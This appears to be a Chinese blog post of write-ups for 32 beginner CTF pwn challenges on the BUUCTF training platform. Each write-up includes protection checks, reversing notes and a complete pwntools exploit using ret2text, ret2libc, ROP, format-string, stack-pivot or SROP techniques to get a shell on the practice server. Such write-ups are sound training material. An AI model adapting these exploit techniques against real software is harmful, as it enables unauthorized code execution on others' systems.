Skip to content

第一页

  • 第一页结束,题目比较基础,一晚上基本上就可以刷完,希望能快点刷到堆

image-20250412095311465

题目1_test_your_nc

  • 考点:nc远程连接,连接命令:nc ip port,而不是nc ip:port

image-20250410105752449

题目2_rip

  • 考点:ret2text
  • 下载附件后直接逆向这个程序,发现有一个gets()函数,存在栈溢出

image-20250410144356747

  • 同时我们发现了存在危险函数,并且没有开pie

image-20250410144434880

  • 所以就直接ret2text,本题exp如下:
from pwn import *
#p = process('./pwn1')
p = remote('node5.buuoj.cn',25590)
payload = b'a'*(0xf+0x8)
payload += p64(0x40118A)
p.sendline(payload)
p.interactive()

image-20250410144600730

题目3_warmup_csaw_2016

  • 考点:ret2text
  • 查看保护,发现保护全没开

image-20250410145204592

  • 下载附件后直接在使用IDA查看反编译的代码,存在gets函数,可以栈溢出

image-20250410145000581

  • 发现sprintf会输出sub_40060D这个函数的地址,我们来查看一下这个函数,发现是一个类似于后门函数,我们可以得到flag

image-20250410145103218

  • 直接栈溢出ret2text,exp如下:
from pwn import *
#p = process('./pwn1')
p = remote('node5.buuoj.cn',29233)
payload = b'a'*(0x40+0x8)
payload += p64(0x40060D)
p.sendline(payload)
p.interactive()

image-20250410145525136

题目4_ciscn_2019_n_1

  • 考点:栈溢出
  • 查看一下保护机制

image-20250410200338669

  • 然后直接IDA pro反编译一下这个程序查看代码。发现main函数就这样输入输出初始化一下,然后调用func()函数

image-20250410200406840

  • 查看func函数,发现存在gets(),还有v211.28125比较就能得到flag

image-20250410200453877

  • 直接查看数据段,发现11.28125的浮点数十六进制表示如下:

image-20250410200615312

  • 所以直接溢出修改变量即可
from pwn import *
#p = process('./ciscn_2019_n_1')
p = remote('node5.buuoj.cn',25249)
payload = b'a'*(0x30-0x4)
payload += p64(0x41348000)
p.sendline(payload)
p.interactive()

image-20250410200654444

题目5_pwn1_sctf_2016

  • 考点:ret2text

  • 查看一下保护机制,发现如下保护机制,并且是一个32位程序

image-20250410200751438

  • 直接使用IDA pro反编译这个程序。发现是一个C++语言的程序,并且main函数如下:

image-20250410201155883

  • 查看一下vuln()函数

image-20250410201208783

  • 这个程序我们正常输入是没办法溢出的,但是这边如果输入I的话会替换成三个字符you。此时我们就可以执行栈溢出操作。

image-20250410204540825

  • 接下来就是计算偏移了

image-20250410210859141

  • 计算得到偏移
b'I'*(21)+b'a'
  • 所以exp如下:
from pwn import *
#p = process('./pwn1_sctf_2016')
p = remote('node5.buuoj.cn',27730)
payload = b'I'*(21)+b'a'
payload += p32(0x8048F0D)
p.sendline(payload)
p.interactive()

image-20250410211231884

题目6_jarvisoj_level0

  • 考点:ret2text栈对齐
  • 先查看一下保护机制,保护机制如下

image-20250410211531209

  • 然后就逆向这个程序,查看这个程序的运行逻辑。先看main函数

image-20250410211611202

  • 查看return的这个函数,发现是一个栈溢出漏洞

image-20250410211625117

  • 同时这里还存在shell

image-20250410211652024

  • 直接ret2text,注意在溢出返回到shell的时候需要注意栈需要与0x10对齐,否则程序无法正常执行system("/bin/sh")exp如下:
from pwn import *
p = process('./level0')
#p = remote('node5.buuoj.cn',27730)
payload = b'a'*0x80 + b'a'*0x8 + p64(0x4005A5)+p64(0x400596)
p.sendline(payload)
p.interactive()

image-20250410212618785

题目7_[第五空间2019 决赛]PWN5

  • 考点:随机数格式化字符串漏洞
  • 先查看一下保护机制

image-20250410212710785

  • 现在逆向一下这个程序,发现是直接获取程序随机数,然后将随机数写入到bss段中。
  • 之后让用户输入两次,第一次输入的时候会有一次格式化字符串漏洞
  • 第二次输入就是输入一个数,将该数与随机数进行判断,相等就可以得到shell

image-20250410212743362

  • 直接先写入bss段存储随机数的地址,这样我们就能使用%s进行泄露,现在计算偏移,确定偏移为10

image-20250410214717207

  • 直接使用%10$s写入随机数,这时我们接收随机数输入到那边即可得到shell,注意我们发送的时候要字符串ascii码形式,因为后面有atoi()这个函数。
  • exp如下:
from pwn import *
#p = process('./pwn')
p = remote('node5.buuoj.cn',26635)
payload =  p32(0x804C044) + b'%10$s'
#gdb.attach(p)
#pause()
p.sendline(payload)
p.recvuntil(b'Hello,')
leak = p.recvline()[4:-1]
print('leak--->',leak)
leak = int.from_bytes(leak,'little')
p.send(str(leak).encode('utf-8'))
p.interactive()

Snipaste_2025-04-10_22-06-46

image-20250410220655029

题目8_jarvisoj_level2

  • 考点:ret2text32位rop链

  • 先检查一下保护机制

image-20250410220759993

  • 开始逆向程序,先查看main函数,发现有system函数,并且有一个vulnerable_function()函数

image-20250410220843212

  • 查看vulnerable_function()函数,发现存在栈溢出

image-20250410221124299

  • 这时翻找字符串,发现还存在/bin/sh字符串,这样我们通过栈溢出就可以执行system("/bin/sh")

image-20250410221219523

  • 这时直接构造32位rop链,注意返回到call System和返回到systemplt表布置栈还稍微有点区别,主要就是返回到systemplt还要填充一个p32(0xdeadbeff)作为返回地址,然后再写入sh_addr
  • exp如下:
from pwn import *
#p = process('./level2')
p = remote('node5.buuoj.cn',29574)
sh_addr = 0x804A024
sys_addr = 0x804845C
payload = b'a'*(0x88+0x4) + p32(sys_addr)+ p32(sh_addr)
p.sendline(payload)
p.interactive()

image-20250410222315099

image-20250410222328497

题目9_ciscn_2019_n_8

  • 考点:溢出漏洞
  • 先查看一下保护机制

image-20250410222644643

  • 逆向分析程序,发现简单的栈溢出操作。

image-20250410222734581

  • 确认偏移即可,再输入17即可getshell
from pwn import *
p = process('./ciscn_2019_n_8')
#p = remote('node5.buuoj.cn',29574)
payload = p32(0x0)*13 + p64(17)
gdb.attach(p)
pause()
p.sendline(payload)
p.interactive()

image-20250410224112619

image-20250410224117710

题目10_bjdctf_2020_babystack

  • 考点:ret2text
  • 先查看一下保护机制

image-20250410225343705

  • 逆向这个程序,发现我们可以指定输入的字节数,这时我们就可以进行溢出

image-20250410225401080

  • 现在查看栈上布局,发现我们在溢出的时候会修改我们输入的字节数

image-20250410225440602

  • 这个时候我们就要注意溢出的内容,否则可能会出现溢出完nbytes就不能再溢出的问题。
  • 还需要注意栈对齐的问题

  • exp如下:

from pwn import *
#p = process('./bjdctf_2020_babystack')
p = remote('node5.buuoj.cn',26437)
p.sendline(b'50')
payload = b'a'*0x10 + b'a'*0x8 + p64(0x4006FA) + p64(0x4006E6)
#gdb.attach(p)
#pause()
p.sendline(payload)
p.interactive()

image-20250410230005911

image-20250410230011838

题目11_ciscn_2019_c_1

  • 考点:栈溢出ret2libc
  • 先来查看一下保护机制

image-20250411172343532

  • 然后直接开始逆向这个程序,查看main函数。发现主要就是一个加密的选项

image-20250411172423378

  • 查看begin()函数程序中只实现了,选项1,并且解密选项没有实现。

image-20250411172503696

  • 接下来我们就查看这个Encrypt()函数,发现这个函数会有一个gets()函数,存在栈溢出。
  • 并且再输入完程序内容时,会对输入的内容进行异或加密

image-20250411172651257

  • 这时我们构造rop链的时候就需要输入异或之后的内容。然后发现这个程序并没有现成的shell函数。
  • 或者还有一种办法就是使用\x00进行截断,这样rop链就不会被加密。本题使用这种打法。
  • 此时我们就需要打ret2libc
  • exp如下:
from pwn import *
#p = process('./ciscn_2019_c_1')
libc = ELF('./libc-2.27.so')
p = remote('node5.buuoj.cn',25616)
pop_rdi = 0x400c83
ret = 0x4006b9
puts_plt = 0x4006E0
puts_got = 0x602020
encrypt = 0x4009A0
payload = b'a'*0x1 + b'\x00' + b'a'*(0x50-2)+ b'a'*0x8
payload+= p64(ret) + p64(pop_rdi) + p64(puts_got)
payload+= p64(puts_plt) + p64(encrypt)
p.sendline(b'1')
#gdb.attach(p)
#pause()
p.sendline(payload)
p.recvuntil(b'l\n')
leak = p.recvline()[:-1]
print('leak--->',leak)
puts_addr = int.from_bytes(leak,'little')
libc_addr = puts_addr - libc.symbols['puts']
sys_addr = libc_addr + libc.symbols['system']
sh_addr = libc_addr + next(libc.search(b'/bin/sh\x00'))
payload = b'a'*0x1 + b'\x00' + b'a'*(0x50-2)+ b'a'*0x8
payload+= p64(pop_rdi) + p64(sh_addr) + p64(sys_addr)
p.sendline(payload)
#p.sendline(payload)
p.interactive()

image-20250411175703431

题目12_jarvisoj_level2_x64

  • 考点:ret2text简单64位rop链
  • 先查看一下检查机制

image-20250411175955565

  • 直接逆向程序,查看main函数,只调用了这个函数,发现有system()

image-20250411180016486

  • 查看vulnerable_function()函数,发现存在栈溢出

image-20250411180115063

  • 并且发现有/bin/sh

image-20250411180139032

  • 简单rop链构造即可,exp如下:
from pwn import *
p = process('./level2_x64')
p = remote('node5.buuoj.cn',25772)
pop_rdi = 0x4006b3
sh_addr = 0x600A90
sys_addr = 0x40063E
payload = b'a'*0x88 + p64(pop_rdi)
payload+= p64(sh_addr) + p64(sys_addr)
p.sendline(payload)
p.interactive()

Snipaste_2025-04-11_18-05-50

题目13_get_started_3dsctf_2016

  • 考点:栈溢出32位参数调用全缓冲输出静态编译
  • 先查看保护机制,发现是一个32位程序

image-20250411182039835

  • 逆向程序,查看main函数,发现main函数存在栈溢出

image-20250411193927735

  • 并且我们查看函数会发现,有一个get_flag的函数,当函数满足条件的时候就会get flag

image-20250411194008791

  • 思路就是直接栈溢出修改参数,然后返回到get flag这个函数中
  • 在打的过程中需要注意,32位参数传递是从右向左依次传入栈中,所以第一个参数在最低栈地址中。
  • 还要注意一点就是,这题并没有开启无缓冲输出,所以在调用完get flag函数时,我们需要返回到main函数,再进行栈溢出,调用fflush(0),刷新缓冲区。
  • exp如下:
from pwn import *
context.log_level = 'debug'
#p = process('./get_started_3dsctf_2016')
p = remote('node5.buuoj.cn',28601)
payload = b'a'*0x38 +p32(0x080489A0)
payload+= p32(0x8048A20) + p32(0x308CD64F)+p32(0x195719D1)
#gdb.attach(p)
#pause()
p.sendline(payload)
payload = b'a'*0x38 +p32(0x804F3E0)
payload+=  p32(0)+p32(0)
p.sendline(payload)
p.interactive()

image-20250411200020527

题目14_[HarekazeCTF2019]baby_rop

  • 考点:栈溢出64位简单rop链
  • 检查一下保护机制

image-20250411200645736

  • 直接逆向程序,查看main函数,发现有system()函数和一个栈溢出操作

image-20250411200619359

  • 然后还发现了/bin/sh\x00这个字符串

image-20250411200713637

  • 直接栈溢出构造rop
  • exp如下:
from pwn import *
context.log_level = 'debug'
#p = process('./babyrop')
pop_rdi = 0x400683
p = remote('node5.buuoj.cn',27158)
payload = b'a'*(0x10+0x8)
payload+= p64(pop_rdi)
payload+= p64(0x601048)
payload+= p64(0x4005E3)
p.sendline(payload)
p.interactive()

image-20250411201153272

题目15_others_shellcode

  • 考点:初步了解32位程序的系统调用
  • 先查看一下保护机制

image-20250411201435478

  • 先逆向程序,查看一下main函数

image-20250411201501033

  • 再查看一下getShell(),发现eax = 11v1="/bin/sh\x00",然后进行int 0x80进行系统调用

image-20250411201519745

  • 本题就是了解一下系统调用,nc即可getshell,故本题无exp

image-20250411201639828

题目16_[OGeek2019]babyrop

  • 考点:伪随机数栈溢出32位rop链ret2libc\x00截断
  • 检查一下程序的保护机制

image-20250411203432889

  • 逆向程序,先查看一下main函数,发现有一个随机数

image-20250411203448850

  • 再查看一下sub_804871F()这个函数,发现程序会将用户输入的内容与随机数进行比较,比较长度为用户输入的内容的长度

image-20250411203603651

  • 如果比较成功就会返回buf[7],并且buf[7]可以控制sub_80487D0这个函数,这样就会导致栈溢出。

image-20250411203720722

  • 所以我们先使用\x00对程序进行截断操作,然后再向but[7]输入一个数,能造成溢出。(这样stcncmp就不会进行判断,直接返回0)就可以直接进入下一个栈溢出函数
  • 最后就直接栈溢出,exp如下:
from pwn import *
context.log_level = 'debug'
libc = ELF('./libc-2.23.so')
p = remote('node5.buuoj.cn',25643)
#p = process('./pwn')
payload = b'\x00'+b'\xff'*0x1E
#gdb.attach(p)
#pause()
p.sendline(payload)
payload = b'a'*0xE7 +b'a'*0x4 + p32(0x8048548)+p32(0x8048825)
payload += p32(0x8049FD4)
p.sendline(payload)
p.recvuntil(b'Correct\n')
puts_addr = p.recvline()[:-1]
print('leak--->',puts_addr)
puts_addr = int.from_bytes(puts_addr,'little')
libc_addr = puts_addr - libc.symbols['puts']
sys_addr = libc_addr + libc.symbols['system']
sh_addr = libc_addr + next(libc.search(b'/bin/sh\x00'))

payload = b'\x00'+b'\xff'*0x1E
#gdb.attach(p)
#pause()
p.sendline(payload)
payload = b'a'*0xE7 +b'a'*0x4 + p32(sys_addr)+p32(sh_addr)
payload += p32(sh_addr)
p.sendline(payload)
p.interactive()

image-20250411212930743

题目17_ciscn_2019_n_5

  • 考点:栈溢出ret2libc向bss段写入/bin/sh
  • 保护机制

image-20250411225244111

  • 逆向程序main函数,发现程序先会让用户输入向name输入64字节,而name是在bss段中的一个全局变量
  • 还发现了gets()这个函数,但是没有发现system()函数

image-20250411225320341

  • 这时我们就可以得到思路,我们将/bin/sh写入到name中,然后正常打ret2libc,注意栈对齐
  • exp如下:
from pwn import *
context.log_level = 'debug'
libc = ELF('./libc-2.27.so')
p = remote('node5.buuoj.cn',28795)
#p = process('./ciscn_2019_n_5')
pop_rdi = 0x400713
puts_got = 0x601018
puts_plt = 0x4004E0
payload = b'a'*0x64
p.send(payload)
payload = b'a'*0x28 + p64(pop_rdi) + p64(puts_got)
payload+= p64(puts_plt) + p64(0x400636)
p.sendline(payload)
p.recvuntil(b'What do you want to say to me?\n')
puts_addr = p.recvline()[:-1]
print('leak-->',puts_addr)
puts_addr = int.from_bytes(puts_addr,'little')
libc_addr = puts_addr - libc.symbols['puts']
sys_addr = libc_addr + libc.symbols['system']
payload = b'/bin/sh\x00' + b'a'*(0x64-0x8)
p.send(payload)
payload = payload = b'a'*0x28 +p64(0x4006AA)+  p64(pop_rdi) + p64(0x601080)
payload+= p64(sys_addr)# + p64(0x400636)
p.sendline(payload)
p.interactive()

image-20250411230450166

题目18_not_the_same_3dsctf_2016

  • 考点:栈溢出32位程序静态编译ret2text
  • 查看保护机制

image-20250411230700366

  • 逆向程序,先查看main函数。发现程序就一个gets()

image-20250411230738801

  • 还发现了这个函数

image-20250411231249559

  • 思路就是栈溢出返回到get_secret()这个函数中,然后再调用write函数(也可以调用printf函数更方便,这里也选择write函数)将flag打印出来。
  • 但是经过尝试好像使用printf函数会报错,具体原因没去查看
  • exp如下:
from pwn import *
context.log_level = 'debug'
p = remote('node5.buuoj.cn',27286)
#p = process('./not_the_same_3dsctf_2016')
payload = b'a'*0x2d + p32(0x80489A0)
payload+= p32(0x80489E0)
printf_addr = 0x804F0A0
write_addr = 0x806E270
p.sendline(payload)
payload = b'a'*0x2d  +p32(write_addr)+p32(0)
payload += p32(0x1)+p32(0x80ECA2D) +p32(0x40)
p.sendline(payload)
p.interactive()

image-20250411232312380

题目19_ciscn_2019_en_2

  • 这题与题目11_ciscn_2019_c_1一模一样,只是异或的数据不同,直接照抄该题的exp,将接收到的l修改为o即可。
  • exp如下:
from pwn import *
#p = process('./ciscn_2019_c_1')
libc = ELF('./libc-2.27.so')
p = remote('node5.buuoj.cn',25580)
pop_rdi = 0x400c83
ret = 0x4006b9
puts_plt = 0x4006E0
puts_got = 0x602020
encrypt = 0x4009A0
payload = b'a'*0x1 + b'\x00' + b'a'*(0x50-2)+ b'a'*0x8
payload+= p64(ret) + p64(pop_rdi) + p64(puts_got)
payload+= p64(puts_plt) + p64(encrypt)
p.sendline(b'1')
#gdb.attach(p)
#pause()
p.sendline(payload)
p.recvuntil(b'o\n')
leak = p.recvline()[:-1]
print('leak--->',leak)
puts_addr = int.from_bytes(leak,'little')
libc_addr = puts_addr - libc.symbols['puts']
sys_addr = libc_addr + libc.symbols['system']
sh_addr = libc_addr + next(libc.search(b'/bin/sh\x00'))
payload = b'a'*0x1 + b'\x00' + b'a'*(0x50-2)+ b'a'*0x8
payload+= p64(pop_rdi) + p64(sh_addr) + p64(sys_addr)
p.sendline(payload)
p.sendline(payload)
p.interactive()

题目20_ciscn_2019_ne_5

  • 考点:
  • 查看保护机制

image-20250411233825792

  • 对程序进行逆向,先查看main函数,main函数的主要逻辑就是一个菜单。
  • 这个菜单前面主要就是实现一个登录,并且貌似没有栈溢出。

image-20250411233848276

  • 查看完各个函数之后发现漏洞点在这个位置,这个位置会导致栈溢出
  • 但是要注意strcpy遇到\x00这个字符串后会被截断。

image-20250412004946831

  • 而我们的src是通过这个地方来写入的

image-20250412005014741

  • 还发现这边有个system()函数

image-20250412005512844

  • 此时我们就可以通过溢出构造rop链,同时写入/bin/sh到程序的bss段中即可,但是这里没有read函数,不好写/bin/shbss
  • 这边就直接采取泄露的思路,注意scanf()这个函数有以下坑点

image-20250412015136193

  • 并且不知道怎么回事程序不行getshell,最终发现好像是libc错了

image-20250412021110368

  • exp如下:
from numpy import put
from pwn import *
#p = process('./ciscn_2019_ne_5')
libc = ELF('./libc-2.27.so')
p = remote('node5.buuoj.cn',25991)
p.sendline(b'administrator')
p.sendline(b'1')
puts_got = 0x804A020
puts_plt = 0x80484C0
main_addr = 0x8048722
printf_got = 0x804A014
payload = b'a'*(0x48+0x4)
payload += p32(puts_plt)+ p32(main_addr) + p32(printf_got)
p.sendline(payload)

p.sendline(b'4')
p.recvuntil(b'aaaaaa')
p.recvline()
printf_addr = p.recvline()[:4]
print('leak--->',printf_addr)
printf_addr = int.from_bytes(printf_addr,'little')
libc_addr = printf_addr - libc.symbols['printf']
sh_addr = libc_addr + next(libc.search(b'/bin/sh\x00'))
p.sendline(b'administrator')
p.sendline(b'1')
payload = b'a'*(0x48+0x4)
payload += p32(0x80486B9) + p32(sh_addr)
p.sendline(payload)
p.sendline(b'4')
p.interactive()

image-20250412021754912

题目21_铁人三项(第五赛区)__2018_rop

  • 考点:栈溢出ret2libc
  • 查看保护机制

image-20250412021504484

  • 逆向程序,先查看main函数,发现main函数就调用了这俩个函数

image-20250412021533566

  • 再来查看be_nice_to_people(),发现没啥漏洞

image-20250412021554636

  • 接下去继续看vulnerable_function(),发现存在栈溢出
  • 继续查找好没有看到system/bin/sh这个字符串,所以打ret2libc

image-20250412021623279

  • exp如下:
from os import system
from numpy import put
from pwn import *
#p = process('./2018_rop')
libc = ELF('./libc-2.27.so')
p = remote('node5.buuoj.cn',29708)
write_got = 0x804A010
write_plt = 0x80483A0
payload = b'a'*0x88 + b'a'*0x4
payload += p32(write_plt)+ p32(0x8048474) + p32(1) + p32(write_got)
payload += p32(0x0)
p.sendline(payload)
payload = b'a'*0x88 + b'a'*0x4
payload += p32(write_plt)+ p32(0x8048474) + p32(1) + p32(write_got)
payload += p32(0x8)
p.sendline(payload)
write_addr = p.recv()[:4]
write_addr = int.from_bytes(write_addr,'little')
libc_addr = write_addr - libc.symbols['write']
sys_addr = libc_addr + libc.symbols['system']
sh_addr = libc_addr + next(libc.search(b'/bin/sh\x00'))
payload = b'a'*0x88 + b'a'*0x4
payload += p32(sys_addr)+ p32(0x8048474) + p32(sh_addr)
p.sendline(payload)
p.interactive()

image-20250412022814260

题目22_bjdctf_2020_babystack2

  • 考点:整数溢出栈溢出ret2text
  • 检查一下保护机制

image-20250412023358660

  • 逆向程序,先查看main函数,发现是一个整数溢出

image-20250412022951829

  • 直接输入-1,绕过检查,绕过之后直接栈溢出

  • 还发现了后门函数

image-20250412023040935

  • exp如下,打的时候注意栈对齐:
from pwn import *
#p = process('./bjdctf_2020_babystack2')
libc = ELF('./libc-2.27.so')
p = remote('node5.buuoj.cn',27593)
p.sendline(b'-1')
payload = b'a'*0x18 + p64(0x40072A)
p.sendline(payload)
p.interactive()

image-20250412023609084

题目23_jarvisoj_fm

  • 考点:字符串格式化漏洞简单%n的使用
  • 检查保护机制

image-20250412024322479

  • 逆向程序,先查看一下main函数,主要漏洞出现在这里,这里直接使用%n修改变量x
  • x在bss段上,所以我们还需要先写入x的地址。然后确定偏移

image-20250412024434834

  • 接下来动调确定偏移%11$p
  • 然后使用%11$lln直接修改

  • 接下来就直接写exp打

from pwn import *
#p = process('./fm')
libc = ELF('./libc-2.27.so')
p = remote('node5.buuoj.cn',28823)
payload =  p32(0x804A02C) + b'%11$lln'
p.sendline(payload)
p.interactive()

image-20250412030134209

题目24_bjdctf_2020_babyrop

  • 考点:64位ret2libc
  • 保护机制

image-20250412030407741

  • 逆向程序,先查看main函数

image-20250412030250389

  • 再查看vuln这个函数,就会发现这个函数存在栈溢出

image-20250412030312829

  • 直接ret2libc,exp如下:
from pwn import *
#p = process('./bjdctf_2020_babyrop')
libc = ELF('./libc-2.23.so')
p = remote('node5.buuoj.cn',26685)
pop_rdi = 0x400733
puts_got = 0x601018
puts_plt = 0x4004E0
payload = b'a'*0x20 + b'a'*0x8
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(0x4006AD)
p.sendline(payload)
p.recvuntil(b'Pull up your sword and tell me u story!\n')
puts_addr = p.recvline()[:-1]
print('leak-->',puts_addr)
puts_addr = int.from_bytes(puts_addr,'little')
libc_addr = puts_addr - libc.symbols['puts']
sys_addr = libc_addr + libc.symbols['system']
sh_addr = libc_addr + next(libc.search(b'/bin/sh\x00'))
payload = b'a'*0x20 + b'a'*0x8
payload += p64(0x4006CB)
payload += p64(pop_rdi)
payload += p64(sh_addr)
payload += p64(sys_addr)
payload += p64(0x4006AD)
p.sendline(payload)
p.interactive()

image-20250412031135239

题目25_jarvisoj_tell_me_something

  • 考点:ret2text
  • 检查保护机制

image-20250412031308080

  • 逆向程序,先查看main函数,这边存在一个栈溢出

image-20250412031336323

  • 发现这边会输出flag

image-20250412031402061

  • 直接写exp
from pwn import *
#p = process('./guestbook')
libc = ELF('./libc-2.23.so')
p = remote('node5.buuoj.cn',25255)
payload = b'a'*0x88
payload += p64(0x400620)
p.sendline(payload)
p.interactive()

image-20250412031613356

题目26_ciscn_2019_es_2

  • 考点:栈溢出栈迁移
  • 先检查一下保护机制

image-20250412032241417

  • 逆向程序,先查看一下main函数

image-20250412032302146

  • 直接查看vuln函数,发现存在栈溢出,但是溢出太少字节了,所以需要栈迁移

image-20250412032316033

  • 并且有system这个函数

image-20250412032344921

  • 但是没有/bin/sh这个字符串,所以我们需要将这个字符串写入到bss段中
  • exp如下:
from pwn import *
#p = process('./ciscn_2019_es_2')
#libc = ELF('./libc-2.23.so')
p = remote('node5.buuoj.cn',29357)
bss_addr = 0x804A040+0x700
p.sendline(b'1')
payload = b'a'*0x28
payload += p32(bss_addr)
payload += p32(0x80485D8)
p.send(payload)
payload = b'/bin/sh\x00' + p32(0x8048559) 
payload += p32(bss_addr-0x10)
payload += p32(0x8048559)+p32(bss_addr-0x28)+ b'/bin/sh\x00'*0x2
payload += p32(bss_addr-0x28+0x4)
payload += p32(0x80485FD)
p.send(payload)
p.interactive()

image-20250412035243591

题目27_[HarekazeCTF2019]baby_rop2

  • 考点:简单ret2libc
  • 检查保护机制

image-20250412035400608

  • 逆向程序先从main函数开始,发现存在栈溢出漏洞

image-20250412035410345

  • 直接打ret2libc
  • exp如下:
from pwn import *
context.log_level = 'debug'
#p = process('./babyrop2')
libc = ELF('./libc-2.23.so')
p = remote('node5.buuoj.cn',28306)
pop_rdi = 0x400733
printf_got = 0x601018
printf_plt = 0x4004F0
read_got = 0x601020
payload = b'z'*0x1c
payload += p32(0x1)
payload += p64(0x4006CB)
payload += p64(0x4006CB)
payload += p64(pop_rdi)
payload += p64(read_got)
payload += p64(printf_plt)
payload += p64(0x400636)
p.sendline(payload)
p.recvuntil(b'zzzzzzzzzzzzzzzzzzzzzzzzzzzzQ!\n')
printf_addr = p.recv()[:6]
print('leak--->',printf_addr)
printf_addr = int.from_bytes(printf_addr,'little')
libc_addr = printf_addr - libc.symbols['read']
sys_addr = libc_addr + libc.symbols['system']
sh_addr = libc_addr + next(libc.search(b'/bin/sh\x00'))
payload = b'z'*0x1c
payload += p32(0x1)
payload += p64(0x4006CB)
payload += p64(pop_rdi)
payload += p64(sh_addr)
payload += p64(sys_addr)
payload += p64(0x400636)
p.sendline(payload)
p.interactive()

image-20250412041218795

题目28_picoctf_2018_rop chain

  • 考点:32位参数调用
  • 查看保护机制

image-20250412041340590

  • 逆向分析程序,先查看main函数

image-20250412041356856

  • 直接查看vuln这个函数,发现gets()函数,直接栈溢出

image-20250412041413559

  • 发现这边可以得到flag,但是要满足条件

image-20250412041438620

  • 发现还有俩个地方

image-20250412041506610

image-20250412041513722

  • 直接就是一步一步构造32位rop链
  • exp如下:
from pwn import *
context.log_level = 'debug'
#p = process('./PicoCTF_2018_rop_chain')
libc = ELF('./libc-2.23.so')
p = remote('node5.buuoj.cn',29128)
win1 = 0x80485CB
win2 = 0x80485D8
vuln = 0x8048714
payload = b'a'*0x1c
payload += p32(win1)+p32(vuln)
p.sendline(payload)
payload = b'a'*0x1c
payload += p32(win2)+p32(vuln)+p32(0xBAAAAAAD)
p.sendline(payload)
payload = b'a'*0x1c
payload += p32(0x804862B)+p32(vuln)+p32(0xDEADBAAD)
p.sendline(payload)
p.interactive()

image-20250412042043426

题目29_pwn2_sctf_2016

  • 考点:整数溢出ret2libcret2syscall
  • 查看保护机制

image-20250412042427982

  • 逆向分析这个程序,我们先来查看一下main函数

image-20250412042529534

  • 直接查看vuln这个函数,发现存在整数溢出,间接导致栈溢出

image-20250412042549199

  • 还发现有系统调用,这里就不打int 0x80,直接打ret2libc

image-20250412042615865

  • exp如下:
from pwn import *
context.log_level = 'debug'
#p = process('./pwn2_sctf_2016')
libc = ELF('./libc-2.23.so')
p = remote('node5.buuoj.cn',29664)
printf_got = 0x0804A00C
printf_plt = 0x08048370
vulin = 0x804852F
p.sendline(b'-1')
payload = b'a'*0x30
payload += p32(printf_plt)+p32(vulin)+p32(printf_got)
p.sendline(payload)
p.recvuntil(b'You said: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaap\x83\x04\x08/\x85\x04\x08\x0c\xa0\x04\x08\n')
#printf_addr = p.recvline()#[:4]
printf_addr = p.recv()[:4]
print('leak-->',printf_addr)
printf_addr = int.from_bytes(printf_addr,'little')
libc_addr = printf_addr - libc.symbols['printf']
sys_addr = libc_addr + libc.symbols['system']
sh_addr = libc_addr + next(libc.search(b'/bin/sh\x00'))
p.sendline(b'-1')
payload = b'a'*0x30
payload += p32(sys_addr)+p32(vulin)+p32(sh_addr)
p.sendline(payload)
p.interactive()

题目30_jarvisoj_level3

  • 考点:ret2libc
  • 查看保护机制

image-20250412044442514

  • 直接进行逆向,先查看main函数

image-20250412044326427

  • 然后查看vulnerable_function()函数,发现存在栈溢出,但是并没有system函数和/bin/sh字符串

image-20250412044342840

  • 直接打ret2libc
  • exp如下:
from pwn import *
context.log_level = 'debug'
#p = process('./level3')
libc = ELF('./libc-2.23.so')
p = remote('node5.buuoj.cn',25981)
write_got = 0x804A018
write_plt = 0x8048340
vuln = 0x804844B  
payload = b'a'*0x8c
payload += p32(write_plt)+p32(vuln)+p32(1)
payload += p32(write_got)+p32(0x4)
p.sendline(payload)
p.recvline()
write_addr = p.recv()[:4]
write_addr = int.from_bytes(write_addr,'little')
print(write_addr)
libc_addr = write_addr - libc.symbols['write']
sys_addr = libc_addr + libc.symbols['system']
sh_addr = libc_addr + next(libc.search(b'/bin/sh\x00'))
payload = b'a'*0x8c
payload += p32(sys_addr)+p32(vuln)+p32(sh_addr)
payload += p32(write_got)+p32(0x4)
p.sendline(payload)
p.interactive()

image-20250412045053702

题目31_wustctf2020_getshell

  • 考点:ret2text
  • 查看保护机制

image-20250412045253728

  • 直接逆向程序,这个函数存在栈溢出

image-20250412045149701

  • 并且还存在shell

image-20250412045215879

  • exp如下:
from pwn import *
context.log_level = 'debug'
#p = process('./wustctf2020_getshell')
libc = ELF('./libc-2.23.so')
p = remote('node5.buuoj.cn',27172)
payload = b'a'*0x1c+p32(0x804851B)
p.sendline(payload)
p.interactive()

image-20250412045443966

题目32_ciscn_2019_s_3

  • 考点:ret2syscallSROP栈迁移
  • 查看保护机制,虽然是32位但是系统调用用的是64位的,并不是单纯的32

image-20250412045711162

  • 直接逆向程序

image-20250412045725895

  • 还发现gadget

image-20250412045742149

  • 这边直接调用俩次SROP,在第一次调用SROP的时候顺便进行栈迁移,第二次getshell
  • exp如下:
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
#p = process('./ciscn_s_3')
libc = ELF('./libc-2.23.so')
#gdb.attach(p)
#pause()
p = remote('node5.buuoj.cn',26847)
payload = b'b'*0x10 + p64(0x4004DA)
payload+= p64(0x400517)
sign = SigreturnFrame()
sign.rax = 0
sign.rdi = 0
sign.rsi = 0x601030
sign.rdx = 0x300
sign.rip = 0x400517
sign.rsp = 0x601030+0x8
sign.rbp = 0x601030+0x100
payload+=bytes(sign)
p.sendline(payload)

payload = b'/bin/sh\x00'
payload += p64(0x4004DA)
payload += p64(0x400517)
sign2 = SigreturnFrame()
sign2.rax = 59
sign2.rdi = 0x601030
sign2.rsi = 0
sign2.rdx = 0
sign2.rip = 0x400517
payload+= bytes(sign2)
pause()
p.sendline(payload)

p.interactive()

image-20250412094752586